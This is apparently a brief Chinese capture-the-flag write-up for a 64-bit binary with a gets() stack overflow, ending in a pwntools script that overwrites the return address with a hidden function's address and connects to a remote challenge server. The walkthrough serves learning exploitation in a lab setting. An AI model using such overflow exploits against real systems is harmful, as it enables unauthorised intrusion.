拿到文件,先查看保护。发现是64位,Stack、NX、PIE都没有开

拖到ida打开查看

明显的gets函数溢出。打开字符串视图找到了

直接最后把返回地址覆盖为这个函数地址就可以了

v5大小是0x40 应为是楼4位所以+0x8就可以覆盖到返回地址了。

构造payload

from pwn import *

#p = process('pwn')

p = remote("node4.buuoj.cn",27940)

p.sendline(b'a'*(0x40 + 0x8) + p64(0x40060D))

p.interactive()